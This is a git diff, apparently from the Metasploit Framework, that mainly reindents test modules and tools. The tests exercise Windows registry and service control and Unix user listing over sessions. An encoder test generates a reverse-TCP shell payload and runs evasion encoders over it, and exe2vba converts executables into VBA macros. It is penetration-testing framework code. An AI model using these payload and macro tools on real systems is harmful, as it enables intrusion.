/^ERROR_SERVICE/) - ret &&= !!(results.kind_of? Array) - ret &&= !!(results.length == 1) + it "should return an error string given an error code" do + ret = true + results = lookup_error(0x420, /^ERROR_SERVICE/) + ret &&= !!(results.kind_of? Array) + ret &&= !!(results.length == 1) - ret - end + ret + end - end + end - def test_datastore + def test_datastore - if (datastore["WIN_CONST"]) - it "should look up arbitrary constants" do - ret = true - results = select_const_names(datastore['WIN_CONST'], datastore['WCREGEX']) - #vprint_status("RESULTS: #{results.class} #{results.pretty_inspect}") + if (datastore["WIN_CONST"]) + it "should look up arbitrary constants" do + ret = true + results = select_const_names(datastore['WIN_CONST'], datastore['WCREGEX']) + #vprint_status("RESULTS: #{results.class} #{results.pretty_inspect}") - ret - end - end + ret + end + end - if (datastore["ERR_CODE"]) - it "should look up arbitrary error codes" do - ret = true - results = lookup_error(datastore['ERR_CODE'], datastore['ECREGEX']) - #vprint_status("RESULTS: #{results.class} #{results.inspect}") + if (datastore["ERR_CODE"]) + it "should look up arbitrary error codes" do + ret = true + results = lookup_error(datastore['ERR_CODE'], datastore['ECREGEX']) + #vprint_status("RESULTS: #{results.class} #{results.inspect}") - ret - end - end + ret + end + end - end + end end diff --git a/test/modules/post/test/registry.rb b/test/modules/post/test/registry.rb index 527cf190c1..d22b3fc7aa 100644 --- a/test/modules/post/test/registry.rb +++ b/test/modules/post/test/registry.rb @@ -15,141 +15,141 @@ require 'module_test' class Metasploit3 < Msf::Post - include Msf::ModuleTest::PostTest - include Msf::Post::Windows::Registry + include Msf::ModuleTest::PostTest + include Msf::Post::Windows::Registry - def initialize(info={}) - super( update_info( info, - 'Name' => 'registry_post_testing', - 'Description' => %q{ This module will test Post::Windows::Registry API methods }, - 'License' => MSF_LICENSE, - 'Author' => [ - 'kernelsmith', # original - 'egypt', # PostTest conversion - ], - 'Platform' => [ 'windows' ] - )) - end + def initialize(info={}) + super( update_info( info, + 'Name' => 'registry_post_testing', + 'Description' => %q{ This module will test Post::Windows::Registry API methods }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'kernelsmith', # original + 'egypt', # PostTest conversion + ], + 'Platform' => [ 'windows' ] + )) + end - def test_0_registry_read - pending "should evaluate key existence" do - # these methods are not implemented - k_exists = registry_key_exist?(%q#HKCU\Environment#) - k_dne = registry_key_exist?(%q#HKLM\\Non\Existent\Key#) + def test_0_registry_read + pending "should evaluate key existence" do + # these methods are not implemented + k_exists = registry_key_exist?(%q#HKCU\Environment#) + k_dne = registry_key_exist?(%q#HKLM\\Non\Existent\Key#) - (k_exists && !k_dne) - end + (k_exists && !k_dne) + end - pending "should evaluate value existence" do - # these methods are not implemented - v_exists = registry_value_exist?(%q#HKCU\Environment#, "TEMP") - v_dne = registry_value_exist?(%q#HKLM\\Non\Existent\Key#, "asdf") + pending "should evaluate value existence" do + # these methods are not implemented + v_exists = registry_value_exist?(%q#HKCU\Environment#, "TEMP") + v_dne = registry_value_exist?(%q#HKLM\\Non\Existent\Key#, "asdf") - (v_exists && !v_dne) - end + (v_exists && !v_dne) + end - it "should read values" do - ret = true - valinfo = registry_getvalinfo(%q#HKCU\Environment#, "TEMP") - ret &&= !!(valinfo["Data"]) - ret &&= !!(valinfo["Type"]) + it "should read values" do + ret = true + valinfo = registry_getvalinfo(%q#HKCU\Environment#, "TEMP") + ret &&= !!(valinfo["Data"]) + ret &&= !!(valinfo["Type"]) - valdata = registry_getvaldata(%q#HKCU\Environment#, "TEMP") - ret &&= !!(valinfo["Data"] == valdata) + valdata = registry_getvaldata(%q#HKCU\Environment#, "TEMP") + ret &&= !!(valinfo["Data"] == valdata) - ret - end + ret + end - it "should return normalized values" do - ret = true - valinfo = registry_getvalinfo(%q#HKCU\Environment#, "TEMP") - if (valinfo.nil?) - ret = false - else - # type == 2 means string - ret &&= !!(valinfo["Type"] == 2) - ret &&= !!(valinfo["Data"].kind_of? String) + it "should return normalized values" do + ret = true + valinfo = registry_getvalinfo(%q#HKCU\Environment#, "TEMP") + if (valinfo.nil?) + ret = false + else + # type == 2 means string + ret &&= !!(valinfo["Type"] == 2) + ret &&= !!(valinfo["Data"].kind_of? String) - valinfo = registry_getvalinfo(%q#HKLM\Software\Microsoft\Active Setup#, "DisableRepair") - if (valinfo.nil?) - ret = false - else - # type == 4 means DWORD - ret &&= !!(valinfo["Type"] == 4) - ret &&= !!(valinfo["Data"].kind_of? Numeric) - end - end + valinfo = registry_getvalinfo(%q#HKLM\Software\Microsoft\Active Setup#, "DisableRepair") + if (valinfo.nil?) + ret = false + else + # type == 4 means DWORD + ret &&= !!(valinfo["Type"] == 4) + ret &&= !!(valinfo["Data"].kind_of? Numeric) + end + end - ret - end + ret + end - it "should enumerate keys and values" do - ret = true - # Has no keys, should return an empty Array - keys = registry_enumkeys(%q#HKCU\Environment#) - ret &&= (keys.kind_of? Array) + it "should enumerate keys and values" do + ret = true + # Has no keys, should return an empty Array + keys = registry_enumkeys(%q#HKCU\Environment#) + ret &&= (keys.kind_of? Array) - vals = registry_enumvals(%q#HKCU\Environment#) - ret &&= (vals.kind_of? Array) - ret &&= (vals.count > 0) - ret &&= (vals.include? "TEMP") + vals = registry_enumvals(%q#HKCU\Environment#) + ret &&= (vals.kind_of? Array) + ret &&= (vals.count > 0) + ret &&= (vals.include? "TEMP") - ret - end + ret + end - end + end - def test_1_registry_write - it "should create keys" do - ret = registry_createkey(%q#HKCU\test_key#) - end + def test_1_registry_write + it "should create keys" do + ret = registry_createkey(%q#HKCU\test_key#) + end - it "should write REG_SZ values" do - ret = true - registry_setvaldata(%q#HKCU\test_key#, "test_val_str", "str!", "REG_SZ") - registry_setvaldata(%q#HKCU\test_key#, "test_val_dword", 1234, "REG_DWORD") - valinfo = registry_getvalinfo(%q#HKCU\test_key#, "test_val_str") - if (valinfo.nil?) - ret = false - else - # type == REG_SZ means string - ret &&= !!(valinfo["Type"] == 1) - ret &&= !!(valinfo["Data"].kind_of? String) - ret &&= !!(valinfo["Data"] == "str!") - end + it "should write REG_SZ values" do + ret = true + registry_setvaldata(%q#HKCU\test_key#, "test_val_str", "str!", "REG_SZ") + registry_setvaldata(%q#HKCU\test_key#, "test_val_dword", 1234, "REG_DWORD") + valinfo = registry_getvalinfo(%q#HKCU\test_key#, "test_val_str") + if (valinfo.nil?) + ret = false + else + # type == REG_SZ means string + ret &&= !!(valinfo["Type"] == 1) + ret &&= !!(valinfo["Data"].kind_of? String) + ret &&= !!(valinfo["Data"] == "str!") + end - ret - end + ret + end - it "should write REG_DWORD values" do - ret = true - registry_setvaldata(%q#HKCU\test_key#, "test_val_dword", 1234, "REG_DWORD") - valinfo = registry_getvalinfo(%q#HKCU\test_key#, "test_val_dword") - if (valinfo.nil?) - ret = false - else - ret &&= !!(valinfo["Type"] == 4) - ret &&= !!(valinfo["Data"].kind_of? Numeric) - ret &&= !!(valinfo["Data"] == 1234) - end - ret - end + it "should write REG_DWORD values" do + ret = true + registry_setvaldata(%q#HKCU\test_key#, "test_val_dword", 1234, "REG_DWORD") + valinfo = registry_getvalinfo(%q#HKCU\test_key#, "test_val_dword") + if (valinfo.nil?) + ret = false + else + ret &&= !!(valinfo["Type"] == 4) + ret &&= !!(valinfo["Data"].kind_of? Numeric) + ret &&= !!(valinfo["Data"] == 1234) + end + ret + end - it "should delete keys" do - ret = registry_deleteval(%q#HKCU\test_key#, "test_val_str") - valinfo = registry_getvalinfo(%q#HKCU\test_key#, "test_val_str") - # getvalinfo should return nil for a non-existent key - ret &&= (valinfo.nil?) - ret &&= registry_deletekey(%q#HKCU\test_key#) - # Deleting the key should delete all its values - valinfo = registry_getvalinfo(%q#HKCU\test_key#, "test_val_dword") - ret &&= (valinfo.nil?) + it "should delete keys" do + ret = registry_deleteval(%q#HKCU\test_key#, "test_val_str") + valinfo = registry_getvalinfo(%q#HKCU\test_key#, "test_val_str") + # getvalinfo should return nil for a non-existent key + ret &&= (valinfo.nil?) + ret &&= registry_deletekey(%q#HKCU\test_key#) + # Deleting the key should delete all its values + valinfo = registry_getvalinfo(%q#HKCU\test_key#, "test_val_dword") + ret &&= (valinfo.nil?) - ret - end + ret + end - end + end end diff --git a/test/modules/post/test/services.rb b/test/modules/post/test/services.rb index 005fa01ce7..a09af403ec 100644 --- a/test/modules/post/test/services.rb +++ b/test/modules/post/test/services.rb @@ -11,176 +11,176 @@ require 'module_test' class Metasploit3 < Msf::Post - include Msf::Post::Windows::Services + include Msf::Post::Windows::Services - include Msf::ModuleTest::PostTest + include Msf::ModuleTest::PostTest - def initialize(info={}) - super( update_info( info, - 'Name' => 'Test Post::Windows::Services', - 'Description' => %q{ This module will test windows services methods within a shell}, - 'License' => MSF_LICENSE, - 'Author' => [ 'kernelsmith', 'egypt' ], - 'Version' => '$Revision: 11663 $', - 'Platform' => [ 'windows' ], - 'SessionTypes' => [ 'meterpreter', 'shell' ] - )) - register_options( - [ - OptString.new("QSERVICE" , [true, "Service (keyname) to query", "winmgmt"]), - OptString.new("NSERVICE" , [true, "New Service (keyname) to create/del", "testes"]), - OptString.new("SSERVICE" , [true, "Service (keyname) to start/stop", "W32Time"]), - OptString.new("DNAME" , [true, "Display name used for create test", "Cool display name"]), - OptString.new("BINPATH" , [true, "Binary path for create test", "C:\\WINDOWS\\system32\\svchost.exe -k netsvcs"]), - OptEnum.new("MODE", [true, "Mode to use for startup/create tests", "auto", - ["auto", "manual", "disable"] - ]), - ], self.class) + def initialize(info={}) + super( update_info( info, + 'Name' => 'Test Post::Windows::Services', + 'Description' => %q{ This module will test windows services methods within a shell}, + 'License' => MSF_LICENSE, + 'Author' => [ 'kernelsmith', 'egypt' ], + 'Version' => '$Revision: 11663 $', + 'Platform' => [ 'windows' ], + 'SessionTypes' => [ 'meterpreter', 'shell' ] + )) + register_options( + [ + OptString.new("QSERVICE" , [true, "Service (keyname) to query", "winmgmt"]), + OptString.new("NSERVICE" , [true, "New Service (keyname) to create/del", "testes"]), + OptString.new("SSERVICE" , [true, "Service (keyname) to start/stop", "W32Time"]), + OptString.new("DNAME" , [true, "Display name used for create test", "Cool display name"]), + OptString.new("BINPATH" , [true, "Binary path for create test", "C:\\WINDOWS\\system32\\svchost.exe -k netsvcs"]), + OptEnum.new("MODE", [true, "Mode to use for startup/create tests", "auto", + ["auto", "manual", "disable"] + ]), + ], self.class) - end + end - def test_start - it "should start #{datastore["SSERVICE"]}" do - ret = true - results = service_start(datastore['SSERVICE']) - if results != 0 - # Failed the first time, try to stop it first, then try again - service_stop(datastore['SSERVICE']) - results = service_start(datastore['SSERVICE']) - end - ret &&= (results == 0) + def test_start + it "should start #{datastore["SSERVICE"]}" do + ret = true + results = service_start(datastore['SSERVICE']) + if results != 0 + # Failed the first time, try to stop it first, then try again + service_stop(datastore['SSERVICE']) + results = service_start(datastore['SSERVICE']) + end + ret &&= (results == 0) - ret - end - it "should stop #{datastore["SSERVICE"]}" do - ret = true - results = service_stop(datastore['SSERVICE']) - ret &&= (results == 0) + ret + end + it "should stop #{datastore["SSERVICE"]}" do + ret = true + results = service_stop(datastore['SSERVICE']) + ret &&= (results == 0) - ret - end - end + ret + end + end - def test_list - it "should list services" do - ret = true - results = service_list + def test_list + it "should list services" do + ret = true + results = service_list - ret &&= results.kind_of? Array - ret &&= results.length > 0 - ret &&= results.include? datastore["QSERVICE"] + ret &&= results.kind_of? Array + ret &&= results.length > 0 + ret &&= results.include? datastore["QSERVICE"] - ret - end - end + ret + end + end - def test_info - it "should return info on a given service" do - ret = true - results = service_info(datastore['QSERVICE']) + def test_info + it "should return info on a given service" do + ret = true + results = service_info(datastore['QSERVICE']) - ret &&= results.kind_of? Hash - if ret - ret &&= results.has_key? "Name" - ret &&= (results["Name"] == "Windows Management Instrumentation") - ret &&= results.has_key? "Startup" - ret &&= results.has_key? "Command" - ret &&= results.has_key? "Credentials" - end + ret &&= results.kind_of? Hash + if ret + ret &&= results.has_key? "Name" + ret &&= (results["Name"] == "Windows Management Instrumentation") + ret &&= results.has_key? "Startup" + ret &&= results.has_key? "Command" + ret &&= results.has_key? "Credentials" + end - ret - end - end + ret + end + end - def test_create - it "should create a service" do - mode = case datastore["MODE"] - when "disable"; 4 - when "manual"; 3 - when "auto"; 2 - else; 2 - end - ret = service_create(datastore['NSERVICE'],datastore['DNAME'],datastore['BINPATH'],mode) + def test_create + it "should create a service" do + mode = case datastore["MODE"] + when "disable"; 4 + when "manual"; 3 + when "auto"; 2 + else; 2 + end + ret = service_create(datastore['NSERVICE'],datastore['DNAME'],datastore['BINPATH'],mode) - ret - end + ret + end - it "should return info on the newly-created service" do - ret = true - results = service_info(datastore['NSERVICE']) + it "should return info on the newly-created service" do + ret = true + results = service_info(datastore['NSERVICE']) - ret &&= results.kind_of? Hash - ret &&= results.has_key? "Name" - ret &&= (results["Name"] == datastore["DNAME"]) - ret &&= results.has_key? "Startup" - ret &&= (results["Startup"].downcase == datastore["MODE"]) - ret &&= results.has_key? "Command" - ret &&= results.has_key? "Credentials" + ret &&= results.kind_of? Hash + ret &&= results.has_key? "Name" + ret &&= (results["Name"] == datastore["DNAME"]) + ret &&= results.has_key? "Startup" + ret &&= (results["Startup"].downcase == datastore["MODE"]) + ret &&= results.has_key? "Command" + ret &&= results.has_key? "Credentials" - ret - end + ret + end - it "should delete the new service" do - ret = service_delete(datastore['NSERVICE']) + it "should delete the new service" do + ret = service_delete(datastore['NSERVICE']) - ret - end - end + ret + end + end =begin - def run - blab = datastore['VERBOSE'] - print_status("Running against session #{datastore["SESSION"]}") - print_status("Session type is #{session.type}") - print_status("Verbosity is set to #{blab.to_s}") - print_status("Don't be surprised to see some errors as the script is faster") - print_line("than the windows SCM, just make sure the errors are sane. You can") - print_line("set VERBOSE to true to see more details") + def run + blab = datastore['VERBOSE'] + print_status("Running against session #{datastore["SESSION"]}") + print_status("Session type is #{session.type}") + print_status("Verbosity is set to #{blab.to_s}") + print_status("Don't be surprised to see some errors as the script is faster") + print_line("than the windows SCM, just make sure the errors are sane. You can") + print_line("set VERBOSE to true to see more details") - print_status() - print_status("TESTING service_query_ex on servicename: #{datastore["QSERVICE"]}") - results = service_query_ex(datastore['QSERVICE']) - print_status("RESULTS: #{results.class} #{results.pretty_inspect}") + print_status() + print_status("TESTING service_query_ex on servicename: #{datastore["QSERVICE"]}") + results = service_query_ex(datastore['QSERVICE']) + print_status("RESULTS: #{results.class} #{results.pretty_inspect}") - print_status() - print_status("TESTING service_query_config on servicename: #{datastore["QSERVICE"]}") - results = service_query_config(datastore['QSERVICE']) - print_status("RESULTS: #{results.class} #{results.pretty_inspect}") + print_status() + print_status("TESTING service_query_config on servicename: #{datastore["QSERVICE"]}") + results = service_query_config(datastore['QSERVICE']) + print_status("RESULTS: #{results.class} #{results.pretty_inspect}") - print_status() - print_status("TESTING service_change_startup on servicename: #{datastore['QSERVICE']} " + - "to #{datastore['MODE']}") - results = service_change_startup(datastore['QSERVICE'],datastore['MODE']) - print_status("RESULTS: #{results.class} #{results.pretty_inspect}") - print_status("Current status of this service " + - "#{service_query_ex(datastore['QSERVICE']).pretty_inspect}") if blab + print_status() + print_status("TESTING service_change_startup on servicename: #{datastore['QSERVICE']} " + + "to #{datastore['MODE']}") + results = service_change_startup(datastore['QSERVICE'],datastore['MODE']) + print_status("RESULTS: #{results.class} #{results.pretty_inspect}") + print_status("Current status of this service " + + "#{service_query_ex(datastore['QSERVICE']).pretty_inspect}") if blab - print_status() - print_status("TESTING service_start on servicename: #{datastore['SSERVICE']}") - results = service_start(datastore['SSERVICE']) - print_status("RESULTS: #{results.class} #{results.pretty_inspect}") - print_status("Current status of this service " + - "#{service_query_ex(datastore['SSERVICE']).pretty_inspect}") if blab - print_status("Sleeping to give the service a chance to start") - select(nil, nil, nil, 2) # give the service time to start, reduces false negatives + print_status() + print_status("TESTING service_start on servicename: #{datastore['SSERVICE']}") + results = service_start(datastore['SSERVICE']) + print_status("RESULTS: #{results.class} #{results.pretty_inspect}") + print_status("Current status of this service " + + "#{service_query_ex(datastore['SSERVICE']).pretty_inspect}") if blab + print_status("Sleeping to give the service a chance to start") + select(nil, nil, nil, 2) # give the service time to start, reduces false negatives - print_status() - print_status("TESTING service_stop on servicename: #{datastore['SSERVICE']}") - results = service_stop(datastore['SSERVICE']) - print_status("RESULTS: #{results.class} #{results.pretty_inspect}") - print_status("Current status of this service " + - "#{service_query_ex(datastore['SSERVICE']).pretty_inspect}") if blab + print_status() + print_status("TESTING service_stop on servicename: #{datastore['SSERVICE']}") + results = service_stop(datastore['SSERVICE']) + print_status("RESULTS: #{results.class} #{results.pretty_inspect}") + print_status("Current status of this service " + + "#{service_query_ex(datastore['SSERVICE']).pretty_inspect}") if blab - print_status() - print_status("TESTING service_delete on servicename: #{datastore['NSERVICE']}") - results = service_delete(datastore['NSERVICE']) - print_status("RESULTS: #{results.class} #{results.pretty_inspect}") - print_status("Current status of this service " + - "#{service_query_ex(datastore['QSERVICE']).pretty_inspect}") if blab - print_status() - print_status("Testing complete.") - end + print_status() + print_status("TESTING service_delete on servicename: #{datastore['NSERVICE']}") + results = service_delete(datastore['NSERVICE']) + print_status("RESULTS: #{results.class} #{results.pretty_inspect}") + print_status("Current status of this service " + + "#{service_query_ex(datastore['QSERVICE']).pretty_inspect}") if blab + print_status() + print_status("Testing complete.") + end =end end diff --git a/test/modules/post/test/unix.rb b/test/modules/post/test/unix.rb index c71954179e..a637c7ccac 100644 --- a/test/modules/post/test/unix.rb +++ b/test/modules/post/test/unix.rb @@ -9,42 +9,42 @@ require 'module_test' class Metasploit4 < Msf::Post - include Msf::ModuleTest::PostTest - include Msf::Post::Linux::System - include Msf::Post::Unix - include Msf::Post::Common + include Msf::ModuleTest::PostTest + include Msf::Post::Linux::System + include Msf::Post::Unix + include Msf::Post::Common - def initialize(info={}) - super( update_info( info, - 'Name' => 'Testing Remote Unix System Manipulation', - 'Description' => %q{ This module will test Post::File API methods }, - 'License' => MSF_LICENSE, - 'Author' => [ 'egypt'], - 'Platform' => [ 'linux', 'java' ], - 'SessionTypes' => [ 'meterpreter', 'shell' ] - )) - end + def initialize(info={}) + super( update_info( info, + 'Name' => 'Testing Remote Unix System Manipulation', + 'Description' => %q{ This module will test Post::File API methods }, + 'License' => MSF_LICENSE, + 'Author' => [ 'egypt'], + 'Platform' => [ 'linux', 'java' ], + 'SessionTypes' => [ 'meterpreter', 'shell' ] + )) + end - def test_unix - it "should list users" do - ret = true - users = get_users - ret &&= users.kind_of? Array - ret &&= users.length > 0 - have_root = false - if ret - users.each { |u| - next unless u[:name] == "root" - have_root = true - } - end - ret - ret &&= have_root + def test_unix + it "should list users" do + ret = true + users = get_users + ret &&= users.kind_of? Array + ret &&= users.length > 0 + have_root = false + if ret + users.each { |u| + next unless u[:name] == "root" + have_root = true + } + end + ret + ret &&= have_root - ret - end + ret + end - end + end end diff --git a/test/tests/00_create_all_modules_test.rb b/test/tests/00_create_all_modules_test.rb index 52b1ff8c59..e9ebc7afcc 100644 --- a/test/tests/00_create_all_modules_test.rb +++ b/test/tests/00_create_all_modules_test.rb @@ -1,12 +1,12 @@ require 'testbase' describe Msf::Simple::Framework do - $msf.modules.each_module do |name, mod| - ref = name - klass = mod - it "should be able create #{ref}" do - e = $msf.modules.create(ref) + $msf.modules.each_module do |name, mod| + ref = name + klass = mod + it "should be able create #{ref}" do + e = $msf.modules.create(ref) e.should_not == nil - end - end + end + end end diff --git a/test/tests/01_all_exploits_have_payloads_test.rb b/test/tests/01_all_exploits_have_payloads_test.rb index 20e985bed2..8a511ba204 100644 --- a/test/tests/01_all_exploits_have_payloads_test.rb +++ b/test/tests/01_all_exploits_have_payloads_test.rb @@ -1,14 +1,14 @@ require 'testbase' describe Msf::Simple::Framework do - $msf.exploits.each_module do |name, mod| - e = $msf.exploits.create(name) - e.targets.each_with_index do |t, idx| - it "#{name} target #{idx} should have compatible payloads" do - e.datastore['TARGET'] = idx - r = e.compatible_payloads - r.length.should_not == 0 - end - end - end + $msf.exploits.each_module do |name, mod| + e = $msf.exploits.create(name) + e.targets.each_with_index do |t, idx| + it "#{name} target #{idx} should have compatible payloads" do + e.datastore['TARGET'] = idx + r = e.compatible_payloads + r.length.should_not == 0 + end + end + end end diff --git a/test/tests/test_encoders.rb b/test/tests/test_encoders.rb index d59df128ea..429b56f95c 100644 --- a/test/tests/test_encoders.rb +++ b/test/tests/test_encoders.rb @@ -6,7 +6,7 @@ msfbase = __FILE__ while File.symlink?(msfbase) - msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) + msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', '..', 'lib'))) @@ -20,100 +20,100 @@ $msf = Msf::Simple::Framework.create EXPLOITS = $msf.exploits def print_line( message ) - $stdout.puts( message ) + $stdout.puts( message ) end def format_badchars( badchars ) - str = '' - if( badchars ) - badchars.each_byte do | b | - str << "\\x%02X" % [ b ] - end - end - str + str = '' + if( badchars ) + badchars.each_byte do | b | + str << "\\x%02X" % [ b ] + end + end + str end def encoder_v_payload( encoder_name, payload, verbose=false ) - success = 0 - fail = 0 - EXPLOITS.each_module do | name, mod | - - exploit = mod.new - print_line( "\n#{encoder_name} v #{name} (#{ format_badchars( exploit.payload_badchars ) })" ) if verbose - begin - encoder = $msf.encoders.create( encoder_name ) - raw = encoder.encode( payload, exploit.payload_badchars, nil, nil ) - success += 1 - rescue - print_line( " FAILED! badchars=#{ format_badchars( exploit.payload_badchars ) }\n" ) if verbose - fail += 1 - end - end - return [ success, fail ] + success = 0 + fail = 0 + EXPLOITS.each_module do | name, mod | + + exploit = mod.new + print_line( "\n#{encoder_name} v #{name} (#{ format_badchars( exploit.payload_badchars ) })" ) if verbose + begin + encoder = $msf.encoders.create( encoder_name ) + raw = encoder.encode( payload, exploit.payload_badchars, nil, nil ) + success += 1 + rescue + print_line( " FAILED! badchars=#{ format_badchars( exploit.payload_badchars ) }\n" ) if verbose + fail += 1 + end + end + return [ success, fail ] end def generate_payload( name ) - payload = $msf.payloads.create( name ) - - # set options for a reverse_tcp payload - payload.datastore['LHOST'] = '192.168.2.1' - payload.datastore['RHOST'] = '192.168.2.254' - payload.datastore['RPORT'] = '5432' - payload.datastore['LPORT'] = '4444' - # set options for an exec payload - payload.datastore['CMD'] = 'calc' - # set generic options - payload.datastore['EXITFUNC'] = 'thread' + payload = $msf.payloads.create( name ) + + # set options for a reverse_tcp payload + payload.datastore['LHOST'] = '192.168.2.1' + payload.datastore['RHOST'] = '192.168.2.254' + payload.datastore['RPORT'] = '5432' + payload.datastore['LPORT'] = '4444' + # set options for an exec payload + payload.datastore['CMD'] = 'calc' + # set generic options + payload.datastore['EXITFUNC'] = 'thread' - return payload.generate + return payload.generate end def run( encoders, payload_name, verbose=false ) - payload = generate_payload( payload_name ) + payload = generate_payload( payload_name ) - table = Rex::Ui::Text::Table.new( - 'Header' => 'Encoder v Payload Test - ' + ::Time.new.strftime( "%d-%b-%Y %H:%M:%S" ), - 'Indent' => 4, - 'Columns' => [ 'Encoder Name', 'Success', 'Fail' ] - ) + table = Rex::Ui::Text::Table.new( + 'Header' => 'Encoder v Payload Test - ' + ::Time.new.strftime( "%d-%b-%Y %H:%M:%S" ), + 'Indent' => 4, + 'Columns' => [ 'Encoder Name', 'Success', 'Fail' ] + ) - encoders.each do | encoder_name | + encoders.each do | encoder_name | - success, fail = encoder_v_payload( encoder_name, payload, verbose ) + success, fail = encoder_v_payload( encoder_name, payload, verbose ) - table << [ encoder_name, success, fail ] - - end + table << [ encoder_name, success, fail ] + + end - return table + return table end if( $0 == __FILE__ ) - print_line( "[+] Starting.\n" ) + print_line( "[+] Starting.\n" ) - encoders = [ - 'x86/bloxor', - 'x86/shikata_ga_nai', - 'x86/jmp_call_additive', - 'x86/fnstenv_mov', - 'x86/countdown', - 'x86/call4_dword_xor' - ] + encoders = [ + 'x86/bloxor', + 'x86/shikata_ga_nai', + 'x86/jmp_call_additive', + 'x86/fnstenv_mov', + 'x86/countdown', + 'x86/call4_dword_xor' + ] - payload_name = 'windows/shell/reverse_tcp' - - verbose = false - - result_table = run( encoders, payload_name, verbose ) + payload_name = 'windows/shell/reverse_tcp' + + verbose = false + + result_table = run( encoders, payload_name, verbose ) - print_line( "\n\n#{result_table.to_s}\n\n" ) + print_line( "\n\n#{result_table.to_s}\n\n" ) - print_line( "[+] Finished.\n" ) + print_line( "[+] Finished.\n" ) end - \ No newline at end of file + \ No newline at end of file diff --git a/tools/committer_count.rb b/tools/committer_count.rb index 0b3bf42a03..f0b6a97827 100755 --- a/tools/committer_count.rb +++ b/tools/committer_count.rb @@ -28,43 +28,43 @@ end @commits_by_author = {} def parse_date(date) - case date - when /([0-9]+)y(ear)?s?/ - seconds = $1.to_i* (60*60*24*365.25) - calc_date = (Time.now - seconds).strftime("%Y-%m-%d") - when /([0-9]+)m(onth)?s?/ - seconds = $1.to_i* (60*60*24*(365.25 / 12)) - calc_date = (Time.now - seconds).strftime("%Y-%m-%d") - when /([0-9]+)w(eek)?s?/ - seconds = $1.to_i* (60*60*24*7) - calc_date = (Time.now - seconds).strftime("%Y-%m-%d") - when /([0-9]+)d(ay)?s?/ - seconds = $1.to_i* (60*60*24) - calc_date = (Time.now - seconds).strftime("%Y-%m-%d") - else - calc_date = Time.new(date).strftime("%Y-%m-%d") - end + case date + when /([0-9]+)y(ear)?s?/ + seconds = $1.to_i* (60*60*24*365.25) + calc_date = (Time.now - seconds).strftime("%Y-%m-%d") + when /([0-9]+)m(onth)?s?/ + seconds = $1.to_i* (60*60*24*(365.25 / 12)) + calc_date = (Time.now - seconds).strftime("%Y-%m-%d") + when /([0-9]+)w(eek)?s?/ + seconds = $1.to_i* (60*60*24*7) + calc_date = (Time.now - seconds).strftime("%Y-%m-%d") + when /([0-9]+)d(ay)?s?/ + seconds = $1.to_i* (60*60*24) + calc_date = (Time.now - seconds).strftime("%Y-%m-%d") + else + calc_date = Time.new(date).strftime("%Y-%m-%d") + end end date = ARGV[0] || "2005-03-22" # A day before the first SVN commit. calc_date = parse_date(date) @history.each_line do |line| - parsed_line = line.match(/^([^\s+]+)\s(.{7,})\s'(.*)'\s(.*)[\r\n]*$/) - next unless parsed_line - break if calc_date == parsed_line[1] - @recent_history << GitLogLine.new(*parsed_line[1,4]) + parsed_line = line.match(/^([^\s+]+)\s(.{7,})\s'(.*)'\s(.*)[\r\n]*$/) + next unless parsed_line + break if calc_date == parsed_line[1] + @recent_history << GitLogLine.new(*parsed_line[1,4]) end @recent_history.each do |logline| - @commits_by_author[logline.author] ||= [] - @commits_by_author[logline.author] << logline.message + @commits_by_author[logline.author] ||= [] + @commits_by_author[logline.author] << logline.message end puts "Commits since #{calc_date}" puts "-" * 50 @commits_by_author.sort_by {|k,v| v.size}.reverse.each do |k,v| - puts "%-25s %3d" % [k,v.size] + puts "%-25s %3d" % [k,v.size] end diff --git a/tools/convert_31.rb b/tools/convert_31.rb index c11e0d09f7..a35c6e3174 100755 --- a/tools/convert_31.rb +++ b/tools/convert_31.rb @@ -10,38 +10,38 @@ outp = "" endc = 0 data.each_line do |line| - if(line =~ /^\s*module\s+[A-Z]/) - endc += 1 - next - end + if(line =~ /^\s*module\s+[A-Z]/) + endc += 1 + next + end - if(line =~ /^(\s*)include (.*)/) - spaces = $1 - inc = $2 - if (inc !~ /Msf/) - line = "#{spaces}include Msf::#{inc.strip}\n" - end - end + if(line =~ /^(\s*)include (.*)/) + spaces = $1 + inc = $2 + if (inc !~ /Msf/) + line = "#{spaces}include Msf::#{inc.strip}\n" + end + end - if(line =~ /^(\s*)class ([^\<]+)\s*<\s*(.*)/) - prefix = "" - spaces = $1 - parent = $3 + if(line =~ /^(\s*)class ([^\<]+)\s*<\s*(.*)/) + prefix = "" + spaces = $1 + parent = $3 - if(parent !~ /^Msf/) - prefix = "Msf::" - end - line = "#{spaces}class Metasploit3 < #{prefix}#{parent.strip}\n" - end + if(parent !~ /^Msf/) + prefix = "Msf::" + end + line = "#{spaces}class Metasploit3 < #{prefix}#{parent.strip}\n" + end - outp += line + outp += line end endc.downto(1) do |idx| - i = outp.rindex("end") - outp[i, 4] = "" if i + i = outp.rindex("end") + outp[i, 4] = "" if i end outp.rstrip! diff --git a/tools/dev/set_binary_encoding.rb b/tools/dev/set_binary_encoding.rb index 511e03b54b..059f4165f4 100644 --- a/tools/dev/set_binary_encoding.rb +++ b/tools/dev/set_binary_encoding.rb @@ -8,18 +8,18 @@ data = '' done = nil fd = ::File.open(fname, "rb") fd.each_line do |line| - if line =~ /^#.*coding:.*/ - done = true - end + if line =~ /^#.*coding:.*/ + done = true + end if not done - unless line =~ /^#\!.*env ruby/ - data << str + "\n" - done = true - end - end + unless line =~ /^#\!.*env ruby/ + data << str + "\n" + done = true + end + end - data << line + data << line end fd.close diff --git a/tools/exe2vba.rb b/tools/exe2vba.rb index 22e674bf39..e40912dfc6 100755 --- a/tools/exe2vba.rb +++ b/tools/exe2vba.rb @@ -10,7 +10,7 @@ msfbase = __FILE__ while File.symlink?(msfbase) - msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) + msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib'))) @@ -23,15 +23,15 @@ require 'rex' require 'msf/base' def usage - $stderr.puts(" Usage: #{$0} [exe] [vba]\n") - exit + $stderr.puts(" Usage: #{$0} [exe] [vba]\n") + exit end exe = ARGV.shift vba = ARGV.shift if (not (exe and vba)) - usage + usage end out = File.new(vba, "w") @@ -39,7 +39,7 @@ inp = File.open(exe, "rb") dat = "" while(buf = inp.read(8192)) - dat << buf + dat << buf end out.write(Msf::Util::EXE.to_exe_vba(dat)) 